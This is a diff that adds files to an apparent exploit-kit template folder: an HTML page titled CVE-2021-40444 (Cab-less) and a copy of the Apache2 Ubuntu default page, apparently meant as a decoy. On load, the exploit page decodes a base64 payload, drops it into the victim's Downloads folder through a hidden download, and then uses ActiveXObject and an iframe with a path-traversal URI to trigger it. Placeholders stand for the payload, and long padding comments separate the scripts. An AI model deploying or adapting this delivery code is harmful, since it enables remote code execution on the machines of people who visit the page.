+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+</script>
+</body>
+</html>
--- a/template/cabless-smuggling-sample1.html
+++ b/template/cabless-smuggling-sample1.html
@ -0,0 +1,109 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <title>CVE-2021-40444 (Cab-less)</title>
+</head>
+<body>
+<script>
+    function base64ToArrayBuffer(base64) {
+        const binary_string = window.atob(base64);
+        const len = binary_string.length;
+        var bytes = new Uint8Array(len);
+        for (let i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);}
+   return bytes.buffer;
+  }
+
+  function isIE() {
+      ua = navigator.userAgent;
+      return ua.indexOf("MSIE ") > -1 || ua.indexOf("Trident/") > -1;
+  }
+
+  function save()
+  {
+      var file = '<BASE64_DATA_HERE>';
+
+      var data = base64ToArrayBuffer(file);
+      var blob = new Blob([data], {type: '<MIME_TYPE_HERE>'});
+
+      var fileName = '<INF_CHANGE_HERE>';
+
+      if (isIE()) {
+          navigator.msSaveBlob(blob, fileName);
+      } else {
+          var a = document.createElement('a');
+          document.body.appendChild(a);
+          a.style = 'display: none';
+          var url = window.URL.createObjectURL(blob);
+          a.href = url;
+          a.download = fileName;
+          a.click();
+          window.URL.revokeObjectURL(url);
+      }
+  }
+
+</script>
+<script>
+    function process(){
+        new ActiveXObject('htmlfile').Script.location = '<URI_SCHEME_HERE>:../../../Downloads/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>';
+
+        var i = document.createElement("iframe");
+        document.documentElement.appendChild(i);
+        i.src = '<URI_SCHEME_HERE>:../../../Downloads/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>';
+    }
+
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+</script>
+<script>
+    save();
+    process();
+</script>
+</body>
+</html>
--- a/template/index.html
+++ b/template/index.html
@ -0,0 +1,376 @@
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <!--
+    Modified from the Debian original for Ubuntu
+    Last updated: 2016-11-16
+    See: https://launchpad.net/bugs/1288690
+  -->
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Apache2 Ubuntu Default Page: It works</title>
+    <style type="text/css" media="screen">
+  * {
+    margin: 0px 0px 0px 0px;
+    padding: 0px 0px 0px 0px;
+  }
+
+  body, html {
+    padding: 3px 3px 3px 3px;
+
+    background-color: #D8DBE2;
+
+    font-family: Verdana, sans-serif;
+    font-size: 11pt;
+    text-align: center;
+  }
+
+  div.main_page {
+    position: relative;
+    display: table;
+
+    width: 800px;
+
+    margin-bottom: 3px;
+    margin-left: auto;
+    margin-right: auto;
+    padding: 0px 0px 0px 0px;
+
+    border-width: 2px;
+    border-color: #212738;
+    border-style: solid;
+
+    background-color: #FFFFFF;
+
+    text-align: center;
+  }
+
+  div.page_header {
+    height: 99px;
+    width: 100%;
+
+    background-color: #F5F6F7;
+  }
+
+  div.page_header span {
+    margin: 15px 0px 0px 50px;
+
+    font-size: 180%;
+    font-weight: bold;
+  }
+
+  div.page_header img {
+    margin: 3px 0px 0px 40px;
+
+    border: 0px 0px 0px;
+  }
+
+  div.table_of_contents {
+    clear: left;
+
+    min-width: 200px;
+
+    margin: 3px 3px 3px 3px;
+
+    background-color: #FFFFFF;
+
+    text-align: left;
+  }
+
+  div.table_of_contents_item {
+    clear: left;
+
+    width: 100%;
+
+    margin: 4px 0px 0px 0px;
+
+    background-color: #FFFFFF;
+
+    color: #000000;
+    text-align: left;
+  }
+
+  div.table_of_contents_item a {
+    margin: 6px 0px 0px 6px;
+  }
+
+  div.content_section {
+    margin: 3px 3px 3px 3px;
+
+    background-color: #FFFFFF;
+
+    text-align: left;
+  }
+
+  div.content_section_text {
+    padding: 4px 8px 4px 8px;
+
+    color: #000000;
+    font-size: 100%;
+  }
+
+  div.content_section_text pre {
+    margin: 8px 0px 8px 0px;
+    padding: 8px 8px 8px 8px;
+
+    border-width: 1px;
+    border-style: dotted;
+    border-color: #000000;
+
+    background-color: #F5F6F7;
+
+    font-style: italic;
+  }
+
+  div.content_section_text p {
+    margin-bottom: 6px;
+  }
+
+  div.content_section_text ul, div.content_section_text li {
+    padding: 4px 8px 4px 16px;
+  }
+
+  div.section_header {
+    padding: 3px 6px 3px 6px;
+
+    background-color: #8E9CB2;
+
+    color: #FFFFFF;
+    font-weight: bold;
+    font-size: 112%;
+    text-align: center;
+  }
+
+  div.section_header_red {
+    background-color: #CD214F;
+  }
+
+  div.section_header_grey {
+    background-color: #9F9386;
+  }
+
+  .floating_element {
+    position: relative;
+    float: left;
+  }
+
+  div.table_of_contents_item a,
+  div.content_section_text a {
+    text-decoration: none;
+    font-weight: bold;
+  }
+
+  div.table_of_contents_item a:link,
+  div.table_of_contents_item a:visited,
+  div.table_of_contents_item a:active {
+    color: #000000;
+  }
+
+  div.table_of_contents_item a:hover {
+    background-color: #000000;
+
+    color: #FFFFFF;
+  }
+
+  div.content_section_text a:link,
+  div.content_section_text a:visited,
+   div.content_section_text a:active {
+    background-color: #DCDFE6;
+
+    color: #000000;
+  }
+
+  div.content_section_text a:hover {
+    background-color: #000000;
+
+    color: #DCDFE6;
+  }
+
+  div.validator {
+  }
+    </style>
+  </head>
+  <body>
+    <div class="main_page">
+      <div class="page_header floating_element">
+        <img src="/icons/ubuntu-logo.png" alt="Ubuntu Logo" class="floating_element"/>
+        <span class="floating_element">
+          Apache2 Ubuntu Default Page
+        </span>
+      </div>
+<!--      <div class="table_of_contents floating_element">
+        <div class="section_header section_header_grey">
+          TABLE OF CONTENTS
+        </div>
+        <div class="table_of_contents_item floating_element">
+          <a href="#about">About</a>
+        </div>
+        <div class="table_of_contents_item floating_element">
+          <a href="#changes">Changes</a>
+        </div>
+        <div class="table_of_contents_item floating_element">
+          <a href="#scope">Scope</a>
+        </div>
+        <div class="table_of_contents_item floating_element">
+          <a href="#files">Config files</a>
+        </div>
+      </div>
+-->
+      <div class="content_section floating_element">
+
+
+        <div class="section_header section_header_red">
+          <div id="about"></div>
+          It works!
+        </div>
+        <div class="content_section_text">
+          <p>
+                This is the default welcome page used to test the correct 
+                operation of the Apache2 server after installation on Ubuntu systems.
+                It is based on the equivalent page on Debian, from which the Ubuntu Apache
+                packaging is derived.
+                If you can read this page, it means that the Apache HTTP server installed at
+                this site is working properly. You should <b>replace this file</b> (located at
+                <tt>/var/www/html/index.html</tt>) before continuing to operate your HTTP server.
+          </p>
+
+
+          <p>
+                If you are a normal user of this web site and don't know what this page is
+                about, this probably means that the site is currently unavailable due to
+                maintenance.
+                If the problem persists, please contact the site's administrator.
+          </p>
+
+        </div>
+        <div class="section_header">
+          <div id="changes"></div>
+                Configuration Overview
+        </div>
+        <div class="content_section_text">
+          <p>
+                Ubuntu's Apache2 default configuration is different from the
+                upstream default configuration, and split into several files optimized for
+                interaction with Ubuntu tools. The configuration system is
+                <b>fully documented in
+                /usr/share/doc/apache2/README.Debian.gz</b>. Refer to this for the full
+                documentation. Documentation for the web server itself can be
+                found by accessing the <a href="/manual">manual</a> if the <tt>apache2-doc</tt>